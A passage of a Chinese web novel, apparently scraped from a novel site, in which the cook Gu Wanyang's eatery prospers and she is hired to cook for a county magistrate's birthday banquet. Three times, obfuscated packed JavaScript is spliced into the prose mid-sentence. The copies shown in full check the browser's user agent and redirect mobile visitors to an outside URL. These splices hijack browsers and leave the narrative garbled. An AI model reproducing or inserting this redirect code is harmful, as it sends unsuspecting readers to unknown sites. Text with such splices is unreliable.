一口酸菜笋肉丝就着一口米饭，崔士忠饥饿的肠胃得到极大的满足，虽然不是大鱼大肉但却一点都不差，崔士忠甚至觉得这些小菜更加的好吃。 他一边吃着饭菜，一边忍不住就看向顾宛央，见她专注捧着碗，细嚼慢咽地吃着饭菜，脸上虽略有疲意但依旧淡雅如菊，让人挪不开眼去。 李瑾修正好抬头夹菜，见崔士忠的眼睛粘在顾宛央脸上，不由瞪了他一眼，随即给顾宛央加了一筷子菜，温柔地说道：“宛央，多吃点菜，今天辛苦你了。” 崔士忠见顾宛央抬起头，瞬间将目光收回，顾宛央疑惑道：“我自己会吃，不用给我夹菜，你这么客气干什么。” “不是客气，是觉得你辛苦了，来，再多吃点。”李瑾修见崔士忠吓得低头扒饭，心情甚好，殷勤地又给顾宛央夹了很多菜。 无事献殷勤，顾宛央警惕地看着李瑾修，一只手挡在饭碗的上方阻止他夹菜：“说吧，你想要做什么？” 李瑾修无辜地眨了眨眼睛，顾宛央防备的神态让他有些受伤：“我没想做什么啊，只是想让你多吃点，这段时间都累瘦了。” “瑾修哥，我也累瘦了，你怎么不给我夹菜？”小桃也来凑热闹。 “小桃，来，我给你夹，这块腊肉好，肥瘦相间。”郑奎赶紧夹了块腊肉放到小桃碗里。 小桃见碗里的腊肉确实不错，也就不再说话，低头干饭。 顾宛央打量了半天李瑾修，见他神情无辜中带着点委屈，这才把手放下来说道：“你看这碗里的菜都堆成山了，你自己赶紧吃吧，别再给我夹了。” “哦。”李瑾修应了一声，反正也把崔士忠吓得不敢看顾宛央了，他的目的达到了。 顾宛央见李瑾修老老实实吃饭了，转头看到崔士忠一个劲在扒白饭，菜是一口没有，她开口说道：“崔学子，别光吃饭，多吃点菜。” 崔士忠连连点头，刚刚盯着顾宛央看差点被她发现，他只觉得心跳的很快，所以一个劲地低头扒饭，都没注意碗里已经没菜了。 现在心跳好容易平复了下来，他恢复了常态，夹了一筷子辣椒炒鸡蛋慢慢品尝起来，辣椒是脆嫩的，鸡蛋煎的金黄焦香，两种食材混合在一起后，香气融合口感丰富，非常下饭。 众人不再说话，把几个菜都吃得干干净净，小桃摸着肚子满足地直叹，李瑾修这一天下来虽然没有顾宛央他们辛苦，但也是一直忙着的，忙碌过后吃一顿美味的晚餐，这是他以前从未有过的体验，原来辛苦干活以后吃饭是那么的香。 “宛央姑娘，刘大厨还让我给你带话，等文庙放假他一定过来捧场。”崔士忠端着茶杯，用杯盖划拉着杯中的茶叶说道。 “嗯，我知道了，替我也带个话给刘大厨，欢迎他们随时过来。”顾宛央点头说道：“我们打算每个月的初一、初二和十五、十六店休，跟他说一下避开这几日即可。” “哦？你们还有店休？”崔士忠问道，一般的铺子基本除了过年，其他时候都不会休息。 “嗯，我们食肆小，就这几人干活，也不能天天干活不休息对吧。”顾宛央笑着说道，一个月只休息四天，这要在现代已经算休的很少了，虽然钱是要赚的，但也不能以身体健康为代价。 “对，宛央一个人烧菜，累得很，我觉得一个月四天还少了呢。”李瑾修说道。 “确实都靠宛央姑娘的话挺累的，你们可以再找一个厨子帮忙。”崔士忠点头说道。 “现在铺子才刚刚开，等做一段时间再看，如果有合适的人倒是可以考虑。”顾宛央也不是没想过这个问题，小桃才刚刚开始学了没多久，还没有出师，做做帮厨没问题，但若是要掌勺那还差得多。 “我倒是听说尹多快要出师了，只是他也没找到好的去处，所以还是跟着刘大厨身边做帮厨，但学这门手艺也不是为了一辈子做帮厨的，总是想着能掌勺。”崔士忠想了想说道。 顾宛央听后不语，尹多跟着刘大厨学了五年厨艺，也在刘大厨身边做了五年帮厨，按道理这么久的时间应该早就出师了，但她不能先开这个口，一切随缘吧。 一盏茶喝完，崔士忠起身告辞，顾宛央赶紧带着小桃他们几个光速打扫关店，回到后院。 后院的屋子安静清幽，劳累了一天的顾宛央都来不及看今天的盈利，简单收拾洗漱就上床呼呼大睡了。 李瑾修捧着钱盒子关上门，仔仔细细地算起账来，明天也好告诉顾宛央盈利情况。 开张爆满排队的状况一直持续了半个月，陈大爷和陈大娘早就偷偷来看过顾宛央，但看她铺子门口乌压压排队的人，两人又悄悄地回了家，这个时候还是不要打扰地好，只要看到她铺子生意好两人就放心了。 齐中县城的随心小食肆就这样火爆了起来，顾宛央的名气也随着越来越多的食客光顾，渐渐响了起来。 顾宛央将营业时间重新规定了一下，早晨的早饭不做了，替代的是各种点心，等到食肆开门营业的时候可以出售，中午、晚上各营业两个小时，不规定时间这些人能排队到大晚上去，这样规定营业时间，既能饥饿营销又能得到充分的休息，两全其美。 没过多久，随心小食肆的名号便传遍了整个县城，甚至有临县的人也被吸引了过来，点心替代早餐的好处就是，大家如果排不上队吃饭，便可买些点心回家也是好的。 忙忙碌碌一个月过去了，这天上 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顾宛央给叶夫人行了个礼，叶夫人眼神中满是惊讶，她拉过顾宛央的手仔仔细细打量了一番，不可思议地说道：“这就是那位赢了刘大厨的顾姑娘？” 鲁夫人微笑点头，叶夫人知道顾宛央是个年轻姑娘，但没想到生的这般清雅脱俗：“这哪里像是厨子啊，说是京都贵女都有人信的。” “叶夫人过誉了，宛央只是个小厨子而已。”顾宛央不习惯与陌生人肢体接触，不露痕迹地抽出手笑道。 “叶夫人，别光顾着看人家姑娘了，要紧的事情赶紧说呀。”鲁夫人笑着催促道。 叶夫人被鲁夫人一提醒，马上回过神来，说道：“对，顾姑娘，是我有件要紧的事情请你帮忙。” 顾宛央一听，心中大概知道应该是跟厨艺有关的了，便开口说道：“叶夫人请讲。” “是这样的，我家公公过几日便是七十大寿，家中想办几桌家宴，想请顾姑娘掌勺。”叶夫人简单明了地说道。 果然如此，顾宛央心中的想法被证实，她沉吟半晌说道：“叶夫人，不知您家的家宴是什么时候？” “这个月十五，我打听过了，正好食肆是店休的日子。”叶夫人满怀期待地看着顾宛央说道。 哦？那时间上倒是可以，大户人家请厨子到家中办家宴倒是很常见，通常就是做一顿午饭，而且报酬还是很高的，若是做的主家满意，说不定还有另外的赏钱。 叶夫人见顾宛央不语，忙又开口：“顾姑娘请放心，报酬方面肯定是不会少的，而且也不需要顾姑娘做全席，那样既会让姑娘太过劳累，也凸显不出姑娘做的特殊来，所以你只需做三道拿手菜即可，其他的菜色府里的厨子自会安排。” 听到如此条件，顾宛央不再犹豫，当即应道：“行。” 53. 第 53 章 叶夫人一听顾宛央答应了下来，不由喜出望外，又一把拉过顾宛央的手说道：“那可太好了，姑娘需要什么食材提前告诉叶府大管事即可。” “好的，叶夫人。”顾宛央有些尴尬地想抽出手，但叶夫人将自己的手握得牢牢的，也只能企盼她快些放手。 鲁夫人眼瞧着顾宛央脸色变得有些尴尬，再看她一直看自己的手，便开口道：“叶夫人，你不是一直说喜欢这里的点心吗，正好可以买点回去。” “哦对，我差点忘记了，上一回管家派人来买过那个绿豆糕，真是非常好吃，温润细腻、口感绵密、绿豆味特别的浓，又不会太甜腻，就是公公婆婆也都能吃的。”叶夫人被鲁夫人一提醒，自然放开了顾宛央的手，拍拍手说道。 顾宛央的手得到了解放，顿时松了一口气，听到叶夫人夸奖自己做的绿豆糕，她谦虚地说道：“叶夫人过奖了。” “没有过奖，我说的事实。”叶夫人说道：“今日我再买些回去。” “叶夫人，绿豆糕这两日没做了，不过有最新推出的牛乳糕，您要不要尝尝？”顾宛央笑着答道。 “哦？为什么不继续做绿豆糕了，这么好吃的，难道买的人不多？应该不会啊。”叶夫人疑惑地问道，一般铺子都不会把卖的好的点心下架的。 “不是，绿豆糕卖的很好，但我想换换品种，这样大家也可以多尝到更多的美味，也不会腻味。”顾宛央解释道。 “嗐，我就说嘛，顾姑娘真是天生做大厨的料，这说明你会做的东西太多了，而且每样都做的好啊。”叶夫人看顾宛央的眼神越发地欣赏。 “小桃，去盛两份牛乳糕来给叶夫人和鲁夫人尝尝。”顾宛央被叶夫人的彩虹屁吹的有些发晕，这才刚见面怎么整的跟自己粉丝似的。 小桃应了一声，飞快地端了两块牛乳糕上来。 看着面前精致小巧的牛乳糕，叶夫人已经闻到牛乳的香味了，长方条状的牛乳糕静静地躺在青花瓷碟盘上，乳白色的糕体上撒着几朵黄色的桂花干，看上去就像一幅画。 “这牛乳糕乳香味十足，看样子顾姑娘用料十分讲究。”叶夫人轻捻起牛乳糕凑近闻了闻说道。 “是啊，乳香四溢，牛乳可没少放啊。”鲁夫人也说道。 顾宛央点头但笑不语，这也是开食肆挣到钱了，她才敢做这道价格不菲的牛乳糕来卖，因为越是价贵的东西利润越高。所幸齐中县虽是小县城，但舍得花钱品尝美食的人不在少数，这牛乳糕一经上架，每日必售罄，来晚了的人还买不到。 叶夫人轻咬一口，细细品尝直至咽下，这才面露惊喜道：“妙哉，我吃过的牛乳糕不少，却不及顾姑娘所做的分毫。” “嗯，乳香浓郁、甜度适中、糕体柔软、口感丰富，确实是不可多得的美味。”鲁夫人也不由叹道。 “对，正是如此，口感非常细腻绵软，又不是很甜，看样子我公公婆婆也会非常爱吃的。”叶夫人说道。 “二位夫人喜欢就好，可以多带些回去，不瞒二位，每次一开门，这牛乳糕总是卖的最快，来晚了都买不到呢。”顾宛央好心提醒道。 “买买买。”叶夫人手一挥，带来的管家赶紧付钱。 鲁夫人也买了一些回去，她不像叶夫人那样买的多，也许是家里人口少，又也许是这牛乳糕的价格对于她来说有些昂贵了。 “二位夫人，牛乳糕给你们打八折。”顾宛央说道，打了八折她还是有的赚，接了叶夫人家宴的单也该给算优惠一点，顺便还能让鲁夫人少付点钱。 “那就多谢顾姑娘了。”叶夫人心中对顾宛央的处事又多了一份欣赏。 “谢什么，我还得多谢二位夫人惠顾小肆，也多谢叶夫人对我的信任，让我做家宴大厨。”顾宛央笑着说道，怎么看都是她赚到了。 “瞧瞧，这姑娘的嘴真是巧，说出来的话就是让人欢喜。”叶夫人笑了起来。 “是啊，顾姑娘心灵手巧，陈大娘前几日遇见我，还在各种夸你呢，你还别说，自从陈大娘认识了顾姑娘，她的气色和身体比以往好了不少。”鲁夫人也说道。 “最近太忙了，好些日子没去看过她了，过几日店休去看看陈大娘。”顾宛央说道，她店休的时候一般会去陈大娘家吃饭，这让她有一种在现代周末回家的感觉。 “十五那日可别忘了哦，你可以十六再去。”叶夫人忙提醒，生怕她忘记日子，跑去陈大娘家了。 “放心，叶夫人，不会忘记的。”顾宛央应道。 叶夫人和鲁夫人吃完牛乳糕，心满意足地提着刚买的牛乳糕出了随心小食肆。 “这姑娘真不错，原本想着年纪这么轻，虽然现在城里都传言她做的菜好吃，但还是有那么一丝担心的，怕年轻担不住事，我家公公的发小刚刚从京都致仕回来，我公公请他来参加寿宴，这不得要撑得住场面的大厨嘛。”叶夫人与鲁夫人一边往回走，一边说道。 “是吧，我就说你若是见了顾姑娘本人，你就不会担心了。”鲁夫人说道。 “是啊，年纪虽轻，但为人处世却是成熟稳重，真的是不错。”叶夫人说的。 “对，我虽与顾姑娘相识日子不久，但却觉得与她在一起的时候非常舒服，最关键的还是她做的事情让人放心，不管是给文庙工役做饭，还是给文庙学子做饭，都得到了大家的好评，不然也不会给叶夫人推荐的。”鲁夫人点头。 “若不是你引荐，我应该不会去请这位顾姑娘的。”叶夫人说道。 “放心吧，不会让你失望的，等着那位京都致仕的大人夸赞你吧。”鲁夫人笑道，她明白这次是叶县令找了父亲做寿的借口，想搭上那位大人的关系，虽然那位大人致仕了但瘦死的骆驼比马大，所以叶夫人才如此紧张，不然以往她公公做寿怎不见她到外头请大厨，不过对于宛央来讲也算是个机会吧，能给县里官员留下印象对她以后做生意总有好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是啊，你想啊，那县令是谁啊，管着一个县城的人呢，我们这种平民老百姓基本上是见不着的，能进他府里做饭，可不就是出息了。”小桃解释道。 额，顾宛央看着小桃激动的脸，努力地去共情她，嗯，她开心就好。 “那你又不能休息了，店休本来就是为了能好好休息的。”李瑾修不知何时冒了出来，语气有些抱怨。 “一场家宴能抵食肆好几日的盈利，这么好的赚钱机会怎么能错过，况且叶夫人说只要做三道菜即可，就十五那天中午忙活一下，也不至于太累。”顾宛央说道，说完才反应过来，自己为何要解释啊。 “话是这么说，但总是要费心准备的。”李瑾修说道。 “哎呀瑾修哥，辛苦一天，不，辛苦半天就行了，我和宛央姐都没说什么呢，你又不用去，你急什么。”小桃说道。 “我这不是怕宛央辛......和你辛苦吗！”李瑾修说道。 “不怕不怕，放心吧。”小桃摆摆手：“赶紧准备准备，快到开门的时间了。” 李瑾修看向顾宛央，见她并没打算搭理自己，也只能叹口气磨磨蹭蹭地把账本拿出来干起活来。只是，原本十五那日的计划，得改到十六了。 54. 第 54 章 叶府老太爷七十寿辰，不仅府中上下一片喜气热闹，今年还额外在府衙门外的大街上布施，只要是道上一句恭祝叶老太爷福如东海寿比南山的，都可以领到一个装有铜板的小福袋，所以这一日一大早，府衙门外就围了不老少人。 顾宛央和小桃这天一早也从食肆出发赶往叶府，去叶府需经过府衙，小桃见到密密麻麻的人，不由感叹道：“宛央姐，县令家真有钱啊，这么多人来领福袋，就算一个福袋只有一文钱，那也得不少钱了吧。” “据说叶县令向来孝顺，且也就今年大寿才有的布施，往年并未有过，想来叶府应是不在意这点银钱，希望能多多为老人家积福积德吧。”顾宛央淡淡地说道。 “哎，可惜我们要赶去叶家做饭，否则我也去多排几次队，多领几个福袋去。”小桃羡慕地看着那些排队的人说道。 “领福袋能有几个钱，今日去给叶府做寿宴，赚的银子要比这多多了。”顾宛央笑道。 “宛央姐，虽然你说的事实，但那不得干活才能得钱嘛，哪有像这种排队就能领钱那么安逸呢。”小桃歪头想了想说道。 顾宛央被小桃的话噎了一下，她好像也无从反驳，不过她还是想掰正一下小桃的想法：“小桃，我们要靠自己的劳动来挣钱，不能老想着不劳而获。” “哦，知道了，宛央姐。”小桃虽嘴上答应着，但看向府衙门前的人群依旧是羡慕的。 顾宛央也不再多说什么，因为她已经远远地看见了张灯结彩的叶府了。 “哇塞，叶府好气派啊，感觉比文庙还要气派。”小桃的注意力总算是转移了过来，望着眼前的高门豪宅叹道。 顾宛央拿出叶夫人留下的帖子递给了门房，小厮一见是今天掌勺的大厨，赶紧开了边门，说道：“二位请跟我来。” “宛央姐，那大门不是开着呢嘛，为啥还带我们从边上的小门进去？”小桃跟在顾宛央身后，悄悄地问道。 “大户人家的规矩，大门是主人家和重要贵宾或者婚丧嫁娶时候进出，一般都得走侧门。”顾宛央搜寻着原主的记忆说道。 小桃听了以后吐了吐舌头，说道：“规矩可真多，走个大门又能怎么的。” 顾宛央笑了起来，虽然她很赞同小桃的吐槽，但依旧还是朝她摇了摇头，示意她别再说话了，毕竟今天是来这里干活挣钱的，若是有什么话传到叶家人的耳中，那也是不好交待的。 小桃见顾宛央朝她摇头，想起了顾宛央平时经常教育自己要谨言慎行的话来，赶紧捂住了嘴。 还好前面带路的小厮离得有些距离，两人的声音又非常轻，他是一点都没听见她们的小声议论。 也记不清楚穿过了几个门，两人总算是被带到了大厨房，小桃又被震惊了一下，这大厨房真的比文庙的还大。 顾宛央倒还好，原主在顾氏家族的时候，顾氏主家比叶府要大得多豪华的多，厨房自然也是不差的。 “大管事，夫人请的顾姑娘到了。”小厮对着一人毕恭毕敬的行礼道。 那人闻言转身，顾宛央见他就是随叶夫人一起来食肆请她的管事，便也行礼道：“大管事。” “顾姑娘你来了，我正在给厨房的人训话，你稍等一下。”大管事见到顾宛央还是很客气的，毕竟是夫人请来的。 顾宛央点点头，拉着小桃站到一旁静静地等着，也听听大管事训话内容，看看有什么要注意的。 今天看样子是叶府非常重要的日子，大管事从菜品质量到上菜的时间以及各种规矩做了严格要求，这仿佛让顾宛央看到了大饭馆的领班经理在训话。 顾宛央大概等了有一炷香的功夫，大管事这才结束训话。 “顾姑娘，让你久等了，确实是今天来的贵客非常重要，夫人交待务必不能出一丝差错。”大管事客气地说道，他本意也是让顾宛央一起听一下训话的，但又不能明说，见顾宛央在一旁认真听着，心中暗想夫人找的大厨还挺靠谱懂事。 “无妨，夫人为了寿宴当真是尽心尽力。”顾宛央也说了句场面话，她自然知道今日有贵客，否则也不会请她来，从这几日来食肆吃饭的客人讨论中，她也略知了一二。 大管事把顾宛央介绍给厨房辛管事，叮嘱了几句便匆匆离开了，作为叶府的大管事，今天有他忙活的了。 厨房辛管事是个会来事的，他知道顾宛央是夫人亲自请来的大厨，自然不敢怠慢，况且今日要让贵客满意还得靠她，毕竟他亲自去随心小食肆尝过，心里自然有比较，叶府的这些个厨子没一个比得过。 若是顾宛央今日真让贵客满意了，那他这个厨房管事必定是能得赏钱的，这么大个财神在面前，他还不得好好地接待。 “顾姑娘，这是单独为你准备的厨房，你看合适吗？”辛管事把顾宛央带到东边的一间厨房说道。 顾宛央在刚刚大管事训话的时候，已经观察过整个厨房了，正当中是一个大厨房，两边分别有好几个小厨房，看样子平日里叶府家中人口多，应该是分开来做饭吃饭的。 “不错，多谢辛管事。”顾宛央点点头，单独的厨房不会受别人干扰，那是最好不过的了。 “客气啥，这间厨房是所有小厨房中环境条件最好的，各种调料也是一应俱全，柴火用的都是果木柴，已经劈好堆放在灶台旁边，随用随取。”辛管事带着顾宛央一边参观一边介绍。 哦？居然用的是果木柴，这让顾宛央有些吃惊，果木柴燃烧起来有淡淡的果香味能为食物增添香味和口感，燃烧时温度适中易于控制火候，烟雾又极少，唯一的缺点就是贵，想不到叶府有这样的柴火。 “这是我专门给顾姑娘留出来的，也只有这间厨房用的柴火是果木柴。”辛管事见顾宛央的目光停留在果木柴上，心想果然是识货的，不由地突出了一下自己的安排。 “辛管事有心了，有了这果木柴助力，宛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007110|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 央能顺手不少。”顾宛央说道。 “都是为了老太爷的寿宴，顾姑娘若是顺手了，那我们整个厨房甚至整个叶府，都会顺了不是。”辛管事笑道。 顾宛央笑着点头不语，虽然辛管事满脸堆笑看上去和蔼可亲，但总觉得有点笑面虎的感觉，她一个外人还是不要多说话的好，把事情做好就行了。 见顾宛央没说话，辛管事也不以为意，继续介绍：“这是顾姑娘吩咐准备的食材，都在这里了。” “好的。”顾宛央上前仔细查看了食材，是按自己要求准备的，并且非常新鲜，她不由满意地点点头。 “那顾姑娘若是有什么吩咐尽管来叫我，我先去忙别的了。”辛管事见顾宛央对食材没有异议，这才放心地说道。 顾宛央再次跟辛管事道了谢，送他出了小厨房。 “宛央姐，这就是牛舌啊？我还是第一次见。”小桃好奇地凑上来说道。 顾宛央点点头，牛肉在这个年代比羊肉更精贵，若不是叶夫人说无论什么食材都可以，她也不会开这个口，而且她也是再三跟叶府大管事确认是否能备到新鲜牛舌，没想到大管事一口应下，丝毫没觉得为难。 “啧啧啧，当官真好，连牛肉，不，牛舌都能吃到。”小桃说道。 “小桃，忘记我跟你说过什么了，虽然这里只有我们两个人，但还是要......”顾宛央的话还没说完，小桃立马会意：“要谨言慎行，我知道，宛央姐，放心吧，从现在开始我不说话了。” 说完，小桃立马撸起袖子准备干活，顾宛央有些无奈地看着原本活泼开朗的小桃紧紧闭上了嘴巴，但也没办法，孩子不教是不行的。 牛舌最好吃的做法自然是炙烤，厚厚的牛舌片经过柴火的炙烤，一口咬上去鲜美多汁，吃起来别提多爽快了。 没想到的是居然还有果木柴火，这对于炙烤来说简直就是神一般的辅助，顾宛央再环顾了一圈厨房器具，烤架烤板一应俱全，看样子叶府也没少吃炙烤。 “小桃生灶火。”顾宛央吩咐了一声，便将牛舌清洗了起来。 等顾宛央将牛舌清洗好，小桃的灶火也生了起来，把清洗好的牛舌对半切开，再放进盛满水的锅中焯煮。 水开焯煮几分钟后将牛舌捞起，继续把牛舌表面的舌苔处理干净，直到一点杂质都没有，顾宛央这才开始切片。 炙烤牛舌的厚度非常重要，太薄了咬上去没有口感，太厚了会有外面焦了里面不熟的风险，所以顾宛央全神贯注地切着牛舌，将牛舌切成同样厚度的片状这简单的切片便让顾宛央花费了不少的时间。 把切好片的牛舌放入大盆中，加入调味料抓拌均匀，放置一旁腌制备用。 在顾宛央处理牛舌的同时，麻利的小桃已经将另一食材黄鳝杀好处理好了，这是顾宛央准备要做的第二道菜，这道菜还是李瑾修建议的，黄鳝味鲜肉美、又无骨刺，正是富贵人家最爱的食物。 55. 第 55 章 黄鳝的骨头全部剔除干净，只剩柔软肥嫩的鱼身，顾宛央将鳝鱼切成段，放入开水中焯烫数秒马上捞出，这样的做法是为了祛除鱼身上的粘液，烧出来的菜品卖相更干净，焯过后的鳝鱼段就可以放在一旁备用了。 “宛央姐，这些螃蟹怎么处理？”小桃面对横七竖八爬来爬去的螃蟹问道。 “用刷子刷干净，然后上锅，先蒸熟。”顾宛央说道。 “好嘞。”小桃利落地应道，随即伸出手霸气地抓起螃蟹，开始洗刷刷起来。 眼前的螃蟹十分鲜活，虽然不是很大但这个时候的螃蟹却是肥美的，蒸熟后用来拆蟹粉，做一道蟹粉豆腐是再好不过的，比直接上螃蟹吃起来要方便的多，也适合贵客们这个场合食用。 小桃将刷好的螃蟹一个一个扔进蒸锅，等全部洗完，锅盖一盖，就开始烧火蒸起来。 趁着蒸螃蟹这个功夫，顾宛央和小桃将这三道茶的配菜和配料准备好，等这些东西准备好，螃蟹也蒸熟了。 蒸熟的螃蟹要拆出蟹肉和蟹黄，这是个费时间的活，好在她俩来得早，还有充足的时间来准备。 两人一人搬了一把椅子面对面坐着，一起拆起蟹粉来。 辛管事在厨房门口探了个脑袋进来，见顾宛央和小桃安安静静地拆蟹粉，旁边整整齐齐地摆着准备好的食材和配料，满意地退了出去，看样子这位夫人亲自请来的大厨是不用让人操心的。 而此时，随心小食肆里的李瑾修发现了一个大问题。 “郑奎，这瓶东西不是宛央说今天要带去叶府的吗？”李瑾修举着一个白色瓷瓶问道。 郑奎听见李瑾修的声音，赶紧跑过来一瞧：“对啊，顾姑娘是跟小桃说过，让她记得带上的。” “糟了，小桃忘记带了。”李瑾修说道。 “不会吧，我记得这种瓶子不止一个，喏，你看这里还有几个。”郑奎说道。 李瑾修打开瓶盖闻了一下，有些着急地说道：“不对，这是宛央要带的那瓶，她做完后我还硬凑过去闻了一下，就是这个味道。” “那倒是有可能小桃搞错了，带了不该带的，该带的却没带？”郑奎挠头说道。 “我去给她们送过去。”李瑾修拿着瓶子就往外走，若是今天叶府寿宴搞砸了，宛央心里肯定不好受。 “少主，我去送。”郑奎赶紧跟上去说道。 “不用，你在食肆待着吧，不要跟过来了。”李瑾修扔下这句话，匆匆往叶府方向走去。 郑奎听到命令，不由自主地停下脚步，看着李瑾修的背影，又开始挠头，不过是一个小瓶子，少主这么紧张干什么。 叶府门口，两扇厚重的朱红色大门已经大开着，门前左右两边分立两排小厮，应该是在迎候参加寿宴的贵客。 李瑾修可不管那么多人站那里干嘛，他最重要的事情就是将这小瓶子送进去给顾宛央，估计她们两个还没发现带错瓶子了。 “我是随心小食肆的，又要事来找顾大厨，麻烦带我进去见她。”李瑾修找到门房直接说道。 门房小厮上下打量了李瑾修一番，客气地说道：“这位爷，顾大厨现在应该在准备寿宴，您有何事，我可以代为通传。” 小厮语气虽客气，但态度却很坚决，就是不带，要搁平常，李瑾修也能理解，哪有随随便便带人进府里的，何况今日还是老太爷的寿辰，更不会让陌生人进府。 但现在的李瑾修考虑的是顾宛央会不会搞砸寿宴的事情，也顾不得这么多，拿出小瓷瓶说道：“顾大厨忘记带重要的配料了，我是来给她送过来的。” 小厮刚想从李瑾修手中接过，却见他往回一撤，顿时就拿了个空，小厮有些不高兴了：“爷，您可以将这瓶子给我，我给顾大厨送进去。” 李瑾修皱眉，莫说他不信任小厮，就算是郑奎要送，他都不放心呢，入口的东西经过旁人的手，不知道会发生什么事情，还是不如自己当面交给顾宛央比较妥当。 “抱歉了，此物我得当面交给顾大厨，烦请带我进去或者请顾大厨出来一趟。”李瑾修说道。 “顾大厨正忙着呢，要是耽误了老太爷的寿宴，你担待的起吗，我都说了帮你送进去，你将此瓶子给我便是。”小厮已经拉下脸来了，本来看在顾大厨的份上，对这人好声好气的，哪知他一点都不领情。 “你......”李瑾修有一种有理说不清的感觉，他本就着急，顿时声音一沉开口道：“让你们叶县令出来见我。” 小厮一开始被李瑾修的气势有些吓到，但等听清李瑾修的话，顿时炸毛了：“你是什么人，竟敢让我们老爷来见你！” 小厮正想招呼人把李瑾修拖走，就听见大管事在大门口喊道：“贵客快到了，赶紧做好准备迎接。” “老爷，您放心，我都安排好了，您看这么多人在门口迎接，贵客肯定满意的。”大管事对着门口小厮们喊完，转身又对着踱着方步出来的叶县令毕恭毕敬地说道。 想把李瑾修赶走的小厮也顾不上他了，转身跑到自己该待的地方站好，目不斜视地跟其他人融为一体。 李瑾修眼见着叶县令出了大门，正想迈开腿上前找他，就听见一声啰响，随即一个大嗓门的声音：“许大人到！” 只见叶县令一改刚刚四平八稳的走路方式，而是拎着长袍一路小跑起来，等他跑到大门口的时候，那位许大人的马车正好刚刚听稳在他面前。 李瑾修听见许大人几个字，脚步缓了缓，就看到马车的车帘掀了开来，一个身着藏青色袍服、头发胡子都花白的老头钻了出来。 “许大人呐，哎哟，好久不见啊，您老的身子越来越健朗了。”叶县令赶忙凑过去一个胳膊搀扶着许大人，殷勤地说道。 许大人摆着手说道：“不可再叫大人了，我已致仕，告老还乡咯，如今只是平民百姓一个。” “嗐，您老别这么谦虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015299|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那我就叫您许世伯吧，家父跟您从小一同长大，情同手足，我这做晚辈的叫一声世伯不过分吧。”叶县令弯着腰笑道。 “哈哈哈，那就依你。”许大人笑了起来，叶县令的低姿态让他感到很是受用。 李瑾修在一旁不由脱口而出：“许兆恒！” 李瑾修的声音不大不小，他也不是故意想喊住他的，而是是本能地喊出来的名字。 “何人？何人敢这么大胆直呼许世伯名讳！”叶县令一听到这个名字，脑袋嗡地就炸了，哪个小厮下人这么不懂事，居然直接喊贵客名字，他要气炸了。 “是他。” “他喊的。” 叶府小厮纷纷指向李瑾修，开玩笑，要是被老爷误会是自己叫的，那可就完了。 刚才想撵李瑾修走的小厮，也义正言辞地指向了李瑾修，眼中仍带着些许气愤，谁让他刚刚不走，现在闯祸了吧。 所有人的目光都集中到李瑾修的身上，但却没看到李瑾修一丝慌乱，而且仿佛眼神中还有一种有救了的感觉，这让大家满心的疑惑，难道他不知道叶县令的手段吗。 而李瑾修心里想的也正是有救了，他刚刚是想找叶县令亮身份的，但叶县令并不认识自己，就算亮了身份估计这老头也不会轻易相信，还得周折一番，而如今许兆恒居然在这，他可是认识自己的啊！ “来人，把这个不知天高地厚的小子给我拿下。”叶县令一瞧李瑾修并没有穿着叶府的衣服，心里顿时安心了，不是自己府里的人闯祸就好办了，所以他一声喝令就下来了。 叶府小厮们刚想动手，就听得许兆恒颤抖着的声音：“住手!” 见贵客喊了住手，叶县令赶紧一挥手让小厮让开去。 许兆恒一边眼神紧紧盯着李瑾修，露出不可思议的神情，一边颤颤巍巍地挪到李瑾修的面前，刚想跪倒在地，却又转念一想，上下打量了一番李瑾修，见他衣着普通，周围也未有随从侍卫，顿时明白这位爷又是出来微服体察民情的吧，他在京都为官时，就经常听说这位爷喜欢偷偷溜出宫玩耍，看样子这次肯定也是，这要是贸然说出了他的身份，那自己可就又要被揪胡子了。 “这位......”许兆恒想了半天，硬是没想出如何称呼，干脆撇开称呼，直接语气十分恭敬地说道：“请里面说话。” 叶县令有些呆住了，这语气比自己还恭敬，这是怎么回事，但也容不得他多想，就见李瑾修双手往身后一摆，昂首阔步地往叶府大门走去。 “诶，诶，这......”叶县令疑惑地看向许兆恒，但他却看也没看自己一眼，低头弯腰地跟在那位年轻人身后走去。 门口的小厮也都是惊呆了，这人居然直接走了正门，这可是一般人不能走的门啊，但见自家老爷和老爷的贵客都屁颠屁颠跟在身后没有异议，他们自然也就当没看见，谁也不敢做这个出头鸟，一群人看着这三人走进叶府大门，消失在眼前。 56. 第 56 章 大管事早就殷勤地在前头带路，一边走一边心中飞快转念，许大人是老爷的贵客，能让许大人态度恭敬的人绝不可怠慢，刚刚许大人并未喊出年轻人的身份，而是说请里面说话，那必是不便让外人知道年轻人身份，思及此，大管事没有直接将人带去热闹的寿宴大厅，而是带到了僻静的西院厢房中。 许兆恒微躬着身子跟在快步往前走的李瑾修身边，李瑾修的速度快得让他有些吃力，但仍旧努力跟着，而在两人身后的叶县令，心中也已转过弯来，前面这位衣着普通但相貌气势不凡的年轻人，必定是京都的贵人。 